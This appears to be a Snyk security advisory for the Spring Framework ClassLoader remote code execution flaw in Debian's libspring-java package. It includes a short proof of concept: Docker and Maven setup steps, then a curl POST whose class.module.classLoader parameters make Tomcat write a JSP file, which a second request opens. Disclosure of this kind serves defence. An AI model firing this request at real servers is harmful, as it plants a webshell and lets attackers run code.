Snyk has a published code exploit for this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learningThere is no fixed version for Debian:unstable
libspring-java
.
Note: Versions mentioned in the description apply only to the upstream libspring-java
package and not the libspring-java
package as distributed by Debian
.
See How to fix?
for Debian:unstable
relevant fixed versions and status.
via manipulation of ClassLoader
that is achievable with a POST HTTP request. This could allow an attacker to execute a webshell on a victim's application.
Note: Current public exploits require victim applications to be built with JRE version 9 (or above) and to be packaged as a WAR file that is deployed to Tomcat. However, we have confirmed that it is technically possible for additional exploits to work under additional application configurations as well.
1/ docker run -p 8888:8080 --rm --interactive --tty --name vm1 tomcat:9.0
2/ ./mvnw install
3/ docker cp target/handling-form-submission-complete.war vm1:/usr/local/tomcat/webapps
4/ curl -X POST \
-H "pre:<%" \
-H "post:;%>" \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{pre}iSystem.out.println(123)%{post}i' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/handling-form-submission-complete' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=rce' \
-F 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
http://localhost:8888/handling-form-submission-complete/greeting
5/ curl http://localhost:8888/handling-form-submission-complete/rce.jsp